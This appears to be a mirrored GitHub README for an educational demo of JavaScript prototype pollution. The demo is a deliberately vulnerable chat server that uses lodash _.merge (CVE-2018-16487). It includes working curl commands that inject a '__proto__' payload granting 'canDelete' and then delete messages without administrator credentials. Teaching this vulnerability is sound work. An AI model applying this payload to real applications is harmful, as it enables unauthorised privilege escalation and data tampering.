Coder Social home page Coder Social logo

prototype-pollution-explained's Introduction

Prototype Pollution in JavaScript

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

If you want to learm more about the vulnerability you are welcome to explore the interactive lesson provided by Snyk.

Example Application

This is example chat server vulnerable to Prototype Pollution.

  • GET / - List all messages (available without authentication).
    curl --request GET --url http://localhost:3000/
  • PUT / - Post a new message (only registered users).
    curl --request PUT \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'
  • DELETE / - Delete a message (only administrators).
    curl --request DELETE \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "admin", "password": "???"}, "messageId": 2}'

An attacker target here is to delete message without administrator credentials.

Run

  • npm install
  • npm start

Vulnerability

The Prototype Pollution vulnerability (CVE-2018-16487) introduced by [email protected] via _.merge() function. More details about the issue you can find on Snyk website.

How To Exploit

  1. Send evil message with __proto__.
    curl --request PUT \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "๐Ÿ˜ˆ", "__proto__": {"canDelete": true}}}'
  2. Delete any message you want using user's credentials.
    curl --request DELETE \
      --url http://localhost:3000/ \
      --header 'content-type: application/json' \
      --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'

prototype-pollution-explained's People

Contributors

kirill89 avatar andrewvasilchuk avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.